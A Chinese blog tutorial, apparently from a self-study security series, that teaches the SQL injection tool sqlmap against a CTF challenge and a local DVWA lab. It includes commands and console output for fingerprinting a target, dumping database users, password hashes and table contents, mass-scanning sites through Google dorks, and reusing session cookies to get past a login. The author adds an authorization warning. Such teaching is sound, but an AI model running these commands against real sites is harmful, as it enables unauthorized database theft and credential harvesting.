[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)


一.Sqlmap介绍

Sqlmap
是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程。它配备了一个强大的检测引擎,由Python语言开发完成,通过外部连接访问数据库底层文件系统和操作系统,并执行命令实现渗透。许多适合于终极渗透测试的小众特性和广泛的开发,从数据库指纹、从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令。


Sqlmap下载
可以从官方网址、Github或Python调用PIP命令实现。

在这里插入图片描述

由于Sqlmap是通过Python语言开发完成,也可以安装Python环境,调用Pyhon命令pip install sqlmap安装。

在这里插入图片描述

建议大家在官方网站下载类似Sqlmap的软件,否则不知道是否有后门,这里从Github下载如下图所示。

在这里插入图片描述

打开CMD,Sqlmap直接在Python中调用。由于Sqlmap使用Python(解释型语言)编写,所以可以直接在命令行中调用Python解释器运行Sqlmap.py。如下图所示,表示运行成功。

python sqlmap.py

 
 
 
 

    在这里插入图片描述

    查看Sqlmap版本命令如下:

    python sqlmap.py --version
    
     
     
     
     

      在这里插入图片描述

      查看简要的帮助信息,参数及含义。

      python sqlmap.py -h
      
       
       
       
       

        在这里插入图片描述

        查询高级帮助信息。

        python sqlmap.py -hh
        
         
         
         
         

          在这里插入图片描述


          二.Sqlmap基础用法及CTF实战

          Sqlmap的基本流程如下:

          • 找注入点并检测:sqlmap –u “链接”
          • 列库显示数据库:sqlmap –u “链接” --dbs
          • 列表显示表:sqlmap –u “链接” –D 数据库 --tables
          • 列字段显示表中字段: sqlmap –u “链接” –D 数据库 –T 表名 --columns
          • 显示字段内容:sqlmap –u “链接” –D 数据库 –T 表名 –C 字段 --dump

          作者这里以“实验吧”的CTF题目作为测试地址,希望读者一定结合这个例子进行尝试,熟悉SQLMAP的基本用法。
          测试地址:http://ctf5.shiyanbar.com/web/index_3.php?id=1

          网页如下图所示,我们需要通过SQL注入把数据库中的表格flag值获取出来。

          在这里插入图片描述

          这个实例一定推荐大家自己去尝试,熟悉SQLMAP的基本用法。

          1.获取数据库

          python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs
          
           
           
           
           

            运行结果如下图所示,获取3个数据库,其中–dbs参数表示databases。

            在这里插入图片描述

            在这里插入图片描述

            2.获取当前数据库

            python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
            
             
             
             
             

              运行结果如下图所示,其中–current-db参数表示当前数据库(MySQL),输出结果:web1。

              在这里插入图片描述

              PS:对应的内容如下所示,LOGO还挺好看的。

              C:\Users\yxz\Desktop\sqlmap-master>python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
                      ___
                     __H__
               ___ ___["]_____ ___ ___  {1.3.11.86#dev}
              |_ -| . [,]     | .'| . |
              |___|_  [(]_|_|_|__,|  _|
                    |_|V...       |_|   http://sqlmap.org
              
              [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
              
              [*] starting @ 11:27:32 /2019-11-21/
              
              [11:27:32] [INFO] resuming back-end DBMS 'mysql'
              [11:27:32] [INFO] testing connection to the target URL
              sqlmap resumed the following injection point(s) from stored session:
              ---
              Parameter: id (GET)
                  Type: boolean-based blind
                  Title: AND boolean-based blind - WHERE or HAVING clause
                  Payload: id=1' AND 2112=2112 AND 'btem'='btem
              ---
              [11:27:33] [INFO] the back-end DBMS is MySQL
              web application technology: Nginx 1.10.2, PHP 5.5.38
              back-end DBMS: MySQL 5
              [11:27:33] [INFO] fetching current database
              [11:27:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
              [11:27:33] [INFO] retrieved: web1
              current database: 'web1'
              [11:27:35] [INFO] fetched data logged to text files under 'C:\Users\yxz\AppData\Local\sqlmap\output\ctf5.shiyanbar.com'
              
              [*] ending @ 11:27:35 /2019-11-21/
              

              3.获取当前用户

              python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-user
              
               
               
               
               

                运行结果如下图所示,获取当前数据库用户:web1@localhost。

                在这里插入图片描述

                获取数据库用户和密码的代码如下所示:

                python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --passwords
                
                 
                 
                 
                 

                  在这里插入图片描述

                  4.获取数据库中所有表

                  python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 --tables
                  
                   
                   
                   
                   

                    运行结果如下图所示,获取数据库web1的所有表,其中-D表示数据库,–tables表示所有表。
                    输出结果为flag和web_1两张表。

                    在这里插入图片描述

                    在这里插入图片描述

                    5.获取表中所有字段

                    python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T web_1 --columns
                    
                     
                     
                     
                     

                      输出结果如下图所示:

                      在这里插入图片描述

                      python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag --columns
                      
                       
                       
                       
                       

                        输出结果如下图所示:

                        在这里插入图片描述

                        最终我们需要的结果flag在这个表里。

                        在这里插入图片描述

                        Database: web1
                        Table: flag
                        [3 columns]
                        +--------+-------------+
                        | Column | Type        |
                        +--------+-------------+
                        | flag   | non-numeric |
                        | id     | numeric     |
                        | name   | non-numeric |
                        +--------+-------------+
                        
                        

                        6.获取用户名和密码

                        python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag -C "flag,id,name" --dump 
                        
                         
                         
                         
                         

                          获取的结果如下图所示:

                          在这里插入图片描述

                          最终的结果为:flag{Y0u_@r3_5O_dAmn_90Od}

                          [11:56:59] [INFO] retrieved: 1
                          [11:56:59] [INFO] retrieved: flag{Y0u_@r3_5O_dAmn_90Od}
                          [11:57:07] [INFO] retrieved: 2
                          [11:57:08] [INFO] retrieved: baloteli
                          Database: web1
                          Table: flag
                          [1 entry]
                          +----------------------------+----+----------+
                          | flag                       | id | name     |
                          +----------------------------+----+----------+
                          | flag{Y0u_@r3_5O_dAmn_90Od} | 2  | baloteli |
                          +----------------------------+----+----------+
                          
                          

                          如果某网站存在SQL注入漏洞,通过SQLMAP就能:
                          (1)获取数据库名、用户
                          (2)获取后台登录表
                          (3)获取登录表中用户名和密码字段
                          (4)获取后台管理员的用户名和密码
                          所以,SQL注入、XSS注入、弱口令这些低级错误是需要各个管理员避免的。

                          在这里插入图片描述


                          三.Sqlmap确定目标常见方法

                          1.Sqlmap直连数据库

                          Sqlmap支持直接连接数据库,通过以下命令来直连。

                          • 服务型数据库(前提指导数据库用户名和密码)
                            DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME(MySQL、Oracle、SQL Server、PostgreSQL)

                          例如:

                          python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs --users
                          
                           
                           
                           
                           

                            获取banner信息和用户信息如下图所示:

                            在这里插入图片描述

                            • 文件型数据库(前提指导数据库绝对路径)
                              DBMS://DATABASE_FILEPATH(SQLite、Microsoft Access、Firebird、etc.)

                            2.Sqlmap URL探测

                            Sqlmap直接对单一URL探测,参数使用-u或-url,URL格式:http(s): //target_url[:port]/[…]

                            还是以CTF目标为例,命令如下:

                            python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --banner
                            
                             
                             
                             
                             

                              输出结果如下图所示,获取banner信息,检测SQL注入和XSS注入。

                              在这里插入图片描述

                              返回网站指纹信息,包括MySQL、Apache、PHP、操作系统等。

                              在这里插入图片描述

                              3.Sqlmap文件读取目标

                              在某些情况下,不只是对单一URL探测,还需要对HTTP提交参数以及多个URL进行探测,只是用-u参数已经无法满足时,就需要使用更强大的方式从文件中读取目标进行探测。

                              SQLMAP支持从不同类型的文件中读取目标进行SQL注入探测。

                              • -l 从Burpsuite proxy或WebScarab proxy中读取HTTP请求日志文件
                              • -x 从sitemap.xml站点地图文件中读取目标探测地图中URL
                              • -m 从多行文本格式文件读取多个目标,对多个目标进行探测
                              • -r 从文本文件中读取HTTP请求作为SQL注入探测的目标
                              • -c 从配置文件sqlmap.conf中读取目标探测

                              这里以Kali中 DVWA 本地某网站为例,作者只是介绍基本的方法,建议读者下来深入尝试。

                              首先,在Burpsuite中“Project options”勾选“Proxy”。

                              在这里插入图片描述

                              勾选之后会弹出对话框,输入“test”点击保存,此时桌面有个test文件。

                              在这里插入图片描述

                              接着更改代理服务器设置,设置为127.0.0.1,端口号为8080,访问目标网站时,BurpSuite拦截我们的数据。

                              在这里插入图片描述

                              此时打开某网站,这里以Kali环境中的 DVWA 为例,本地数据会截断获取相关信息。

                              在这里插入图片描述

                              输出结果如下图所示,查看test有对应的相关信息。

                              在这里插入图片描述

                              在BurpSuite中点击Forward查看相关信息,可以看到各种请求信息。

                              在这里插入图片描述

                              接下来再通过SQLMAP调用文件注入检测。test文件复制到SQLMAP目录下,输入命令开始检测,核心命令:

                              python sqlmap.py -l test
                              
                               
                               
                               
                               

                                在这里插入图片描述

                                使用这种方式可以探测大量的目标,比单一的探测更加高效。指定多个URL进行探测如下图所示:

                                在这里插入图片描述

                                python sqlmap.py -c sqlmap.conf
                                
                                 
                                 
                                 
                                 

                                  在这里插入图片描述

                                  4.Sqlmap Google批量扫描注入

                                  Google黑客批量扫描注入中,Sqlmap通过-g自动利用Google获取指定Google hack的目标,再利用交互向导模式进行Sql注入探测。

                                  例如:

                                  python sqlmap.py -g "inurl:\".php?id=1\""
                                  python sqlmap.py -g "inurl:.php?id=1"
                                  
                                   
                                   
                                   
                                   

                                    因为不能访问谷歌,所以此时不能正常获取数据。如果能正常访问,则显示如下图所示。

                                    在这里插入图片描述

                                    PS:这里不建议大家使用SQLMAP GOOGLE探测,我们需要在授权的情况下去检测目标网站,更好地保护网站或检测网站漏洞,作为白帽子绿色干净的网络需要我们共同维护。


                                    四.Sqlmap请求参数设置

                                    1.Sqlmap设置HTTP方法

                                    Sqlmap会自动在探测过程中使用合适的HTTP请求方法。但是在某些具体情况下,需要强制使用具体的HTTP请求方法。例如PUT请求方法,HTTP PUT请求方法不会自动使用,因此需要我们强制指定。使用–method=PUT。

                                    在这里插入图片描述

                                    2.Sqlmap设置POST提交参数

                                    这是一个非常重要且常用的功能,并且某些情况下GET容易被识别,POST方法更好。记住这句话,后面的文章会深入实验。

                                    默认情况下,用于执行HTTP请求的HTTP方法是GET,但是您可以通过提供在POST请求中发送的数据隐式地将其更改为POST。这些数据作为这些参数,被用于SQL注入检测。

                                    python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
                                    
                                     
                                     
                                     
                                     

                                      –method=POST 也可以强制POST,但这里使用 –data=“id=1” 注入参数的检测,隐式的将GET方法转换为POST方法。其中,-f 表示fingerprint指纹信息,–banner --dbs --users 用于获取数据库、用户等信息。

                                      假设某网站是POST提交请求,使用GET法获取信息的。这里使用DVWA示例。

                                      在这里插入图片描述

                                      接着设置浏览器代理,打开BurpSuite截断数据。

                                      在这里插入图片描述

                                      在这里插入图片描述

                                      当我们输入用户名和密码后,BurpSuite会截断我们的请求,然后提取其中的请求值。

                                      在这里插入图片描述

                                      可以看到截断的请求如下图所示:

                                      在这里插入图片描述

                                      Sqlmap中输入指令如下图所示,通过这种方式把GET指定的URL提交修改为POST数据提交,从而探测POST注入。

                                      python sqlmap.py -u "http://192.168.1.100/sqli/Less-11/index.php" --data="uname=admin&passwd=admin&submit=submit" -f --banner --dbs --users 
                                      
                                       
                                       
                                       
                                       

                                        在这里插入图片描述

                                        首先返回存在SQL注入的信息,如下图所示:

                                        在这里插入图片描述

                                        接着返回对应的指纹信息。

                                        在这里插入图片描述

                                        同时输出指定返回的数据库信息、用户信息。

                                        在这里插入图片描述
                                        在这里插入图片描述

                                        3.Sqlmap设置参数分隔符

                                        在某些情况下,Sqlmap需要覆盖默认参数分隔符(如& in GET和POST数据),才能正确地分割和单独处理每个参数。例如:提交的数据使用“;”分割,而使用Sqlmap时会报错,需要使用–param指定分隔符。

                                        python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users 
                                        
                                         
                                         
                                         
                                         

                                          使用&来正确分割这些信息,接着进行SQL注入的检测。

                                          在这里插入图片描述

                                          4.Sqlmap设置Cookie头

                                          Sqlmap中用来设置Cookie的参数,包括:

                                          --cookie
                                          --cookie-del
                                          --load-cookies
                                          --drop-set-cookie
                                          
                                           
                                           
                                           
                                           

                                            使用场景:
                                            (1) Web应用程序具有基于Cookie验证的过程。
                                            例如某网站登录后台之后存在注入漏洞,现在用Sqlmap进行检测,设置相应的Cookie,使得每一个Sqlmap探测在HTTP请求中都加入了Cookie值,绕过登录限制。

                                            (2) 利用Cookie值上的SQL注入漏洞。

                                            Sqlmap使用Cookie过程如下:
                                            (1) 登录或浏览页面。
                                            (2) 打开审计工具或代理拦截,复制Cookie。
                                            (3) 在Sqlmap中使用–cookie粘贴Cookie。

                                            在这里插入图片描述

                                            这里同样以DVWA为例,打开网页输入URL并登录。

                                            在这里插入图片描述

                                            接着通过F12打开工具获取Cookie值。

                                            在这里插入图片描述

                                            调用Sqlmap设置Cookie并获取相关信息。注意,这里不加Cookie探测会报302错误,同时这里的Cookie值是需要登录系统之后才能获取的。后续作者会继续学习,希望能分享一些示例。

                                            在这里插入图片描述

                                            如果在通信过程中,Web应用程序使用Set-Cookie标头进行响应,Sqlmap将在所有进一步的HTTP请求中自动使用其值作为Cookie标头。Sqlmap还将为SQL注入自动测试这些值。这可以通过提供–drop-set-cookie,Sqlmap将忽略任何即将到来的Set-Cookie头来避免。

                                            反之亦然,如果您提供了一个带有选项的HTTP Cookie报头——Cookie和目标URL在任何时候发送一个HTTP set-Cookie报头,Sqlmap将询问您要以下HTTP请求使用哪组Cookie。load-cookie可以用来提供包含Netscape/wget格式的Cookie的特殊文件。

                                            • 2
                                              点赞
                                            • 11
                                              收藏
                                              觉得还不错? 一键收藏
                                            • 0
                                              评论

                                            “相关推荐”对你有帮助么?

                                            • 非常没帮助
                                            • 没帮助
                                            • 一般
                                            • 有帮助
                                            • 非常有帮助
                                            提交
                                            评论
                                            添加红包

                                            请填写红包祝福语或标题

                                            红包个数最小为10个

                                            红包金额最低5元

                                            当前余额3.43前往充值 >
                                            需支付:10.00
                                            成就一亿技术人!
                                            领取后你会自动成为博主和红包主的粉丝 规则
                                            hope_wisdom
                                            发出的红包
                                            实付
                                            使用余额支付
                                            点击重新获取
                                            扫码支付
                                            钱包余额 0

                                            抵扣说明:

                                            1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
                                            2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

                                            余额充值